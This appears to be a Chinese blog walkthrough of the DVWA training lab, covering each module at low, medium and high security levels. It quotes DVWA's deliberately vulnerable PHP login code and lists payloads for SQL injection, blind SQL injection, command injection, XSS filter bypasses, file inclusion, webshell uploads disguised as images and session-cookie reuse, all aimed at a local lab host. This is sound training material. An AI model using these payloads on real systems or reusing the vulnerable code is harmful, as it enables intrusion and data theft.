《Web安全渗透测试实战:DVWA靶场全关卡通关指南(高/中/低/不可能级别)|手把手教你掌握漏洞挖掘与渗透技巧》
目录
说明
DVWA的安全等级
安装DVWA
总结
--------------------------------------------------------------------------------------------------------------------------------
靶场练习
安全级别低
暴力破解
命令注入
CSRF
文件包含
文件上传
不安全的验证码
SQL注入
SQL注入盲注
弱会话ID(越权漏洞)
跨站脚本攻击DOM
XSS(反射)
XSS(存储)
CSP(绕过)
安全级别中等
暴力破解
命令注入
CSRF
文件包含
文件上传
SQL注入
SQL注入盲注
弱会话ID(越权漏洞)
跨站脚本DOM
XSS(反射)
XSS(存储)
CSP(绕过)
安全级别高等
暴力破解
命令注入
CSRF
文件包含
文件上传
SQL注入
SQL注入盲注
弱会话ID(越权操作)
跨站脚本DOM
XSS(反射)
XSS(存储)
说明
- DVWA(Damn Vulnerable Web Application)是一个用于安全研究和渗透测试的靶场,它是一个设计上充满漏洞的Web应用程序,旨在帮助安全研究人员、渗透测试人员以及开发人员学习如何发现和修复安全漏洞。DVWA模拟了一个脆弱的Web环境,用户可以通过其中的各种漏洞来测试和提高自己的攻击与防护技能。
DVWA的安全等级
DVWA允许用户根据需要选择不同的安全等级,每个漏洞模块的行为会根据安全等级有所不同。安全等级包括:
- 低(Low):漏洞最为明显,常常没有任何防护措施。
- 中(Medium):对漏洞有一定的防护,可能进行了输入验证或其他防护措施,但仍然容易被攻击。
- 高(High):漏洞的防护较为完善,通常会对输入数据进行严格的验证,增加了漏洞利用的难度。
- 超高(Impossible):这是最安全的设置,漏洞防护非常强,几乎无法通过常规的攻击手段进行渗透。
安装DVWA
DVWA是基于PHP和MySQL的Web应用程序,常常被部署在如Kali Linux、XAMPP等本地开发环境中进行渗透测试。你需要以下环境来运行DVWA:
- LAMP/WAMP/XAMPP(Linux/Windows下的Apache + MySQL + PHP)
- PHP支持
- MySQL数据库
- 浏览器(访问DVWA界面)
- 初始化用户名admin 密码 password
总结
DVWA是一个非常有用的学习和测试工具,它为安全爱好者提供了一个“沙盒”环境,在其中可以练习和模拟多种攻击技术。通过这个平台,你可以了解Web应用的常见漏洞、学习如何进行渗透测试,并掌握防护措施的实现。需要注意的是,DVWA本身的漏洞设计就是为了学习和测试,所以在实际的生产环境中,强烈建议不要将类似的漏洞应用于真实项目中。
靶场练习
安全级别低
暴力破解
源码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
http://192.168.1.6/DVWA/vulnerabilities/brute/?username=admin&password=123456&Login=Login#
- get请求 用户名密码在url上明文 可以进行表单暴力破解
- BP 抓包暴力破解
- 可以手工SQL注入(万能密码),在用户名框中输入admin' or '1'='1,任意输入密码即可登陆(同时在弱口令字典里也有该语句)
命令注入
ip || netuser
CSRF
发送到肉鸡相同浏览器点击则可以跨站脚本
文件包含
http://192.168.1.6/DVWA/vulnerabilities/fi/?page=c://1.txt
文件上传
- 没有防护直接上传非图片文件
不安全的验证码
SQL注入
没有做任何限制 常规检测语句就可以了
'1 or 1=1'
SQL注入盲注
1' and ascii(substr(database(),1,1))=100
- 布尔类型判断一般不好用 一般使用时间盲注判断是否存在sql注入 在采用报错注入带出数据库名称以及数据库相关数据
弱会话ID(越权漏洞)
把cookieID 复制到其它浏览器就可以模拟这个用户无密码登陆了 这个属于越权类型漏洞
跨站脚本攻击DOM
<ScRipT>alert('XSS')</ScRiPt>
http://192.168.1.6/DVWA/vulnerabilities/xss_d/?default=%3CScRipT%3Ealert(%27XSS%27)%3C/ScRiPt%3E
XSS(反射)
和上一个靶场一样的方式
<ScRipT>alert('XSS')</ScRiPt>
XSS(存储)
<ScRipT>alert('XSS')</ScRiPt>
CSP(绕过)
注意:
- 信任网站攻击
- 这也就是存在域XSS 存储类型攻击
- 如果自己搭建一个网站 那么就可以引用别人的网站对现有的网站进行XSS跨站脚本攻击 设置是跨站脚本伪造
安全级别中等
暴力破解
和low相比,过滤了一些转义字符,但依旧可以使用bp爆破方法同low
命令注入
可以看到过滤了&&和; 所以依旧可以使用 127.0.0. || ipconfig执行命令
CSRF
使用低级别等级钓鱼
按照刚才的方式修改,发现执行不了,检查了请求头
查看其它脚本抓包信息存在referer
- 增加一个referer
文件包含
和上一关差不多 更多是过滤了 目录创越漏洞所带来的漏洞
文件上传
把一句话木马.php文件修改成png
抓包
放包
SQL注入
order by 1,2,3 判断对应字段 数量 这里看出来就是2个字段
POST /DVWA/vulnerabilities/sqli/ HTTP/1.1
Host: 192.168.1.6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://192.168.1.6
Connection: close
Referer: http://192.168.1.6/DVWA/vulnerabilities/sqli/
Cookie: security=medium; PHPSESSID=1ah307vr11h9ndunc0g2q1pqm6
Upgrade-Insecure-Requests: 1
Priority: u=0, i
id=1 union select 1,2&Submit=Submit
SQL注入盲注
弱会话ID(越权漏洞)
使用了时间戳
时间戳在线转换工具(Unix timestamp) - 记灵工具
同样构造id,实现登录
跨站脚本DOM
- </select><img src=1 οnerrοr=alert(1)>
- 闭合标签
XSS(反射)
<ScRipT>alert('XSS')</ScRiPt>
大小写混合绕过
XSS(存储)
大小写绕过
<ScRipT>alert('XSS')</ScRiPt>
CSP(绕过)
安全级别高等
暴力破解
- 查看源码发现是Token
- 抓包看一下
至于关于暴力破解Token 这个在这篇文章以及说过了 这个可以自己看一下
Web渗透测试之暴力破解高阶手法 表单破解 限制绕过-CSDN博客
命令注入
过滤了全部管道符,可以使用 127.0.0 || ipconfig ,前面命令执行失败执行后面的
CSRF
加上token
生成poc 攻击脚本
这样就可以进行跨站脚本伪造高级
文件包含
?page=file://C:\1.txt
文件上传
图片马上传成功
图片马如何生成 请看另外一篇文章
渗透测试之 图片马以及文件包含漏洞 导致 一句话木马利用方式过程 大马 小马 shell webshell getshell 区别-常见木马利用方式 超详细关于shell相关知识点-CSDN博客
SQL注入
- 直接使用 union select 1,2 #
- 1' and order by 1,2 #
SQL注入盲注
1' and 1=1 # 测试,发现成功执行
盲注,测试数据库名长度 1' and length(database())=4 #
弱会话ID(越权操作)
使用了md5加密
md5在线解密破解,md5解密加密
同样构造id,实现登录
跨站脚本DOM
French#<script>alert(1)</script>
XSS(反射)
<img src=1 οnerrοr=alert(1);>
XSS(存储)
<img src=1 οnerrοr=alert(1)>
喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。
多打靶场就是提高的最好的办法加油哟!!!!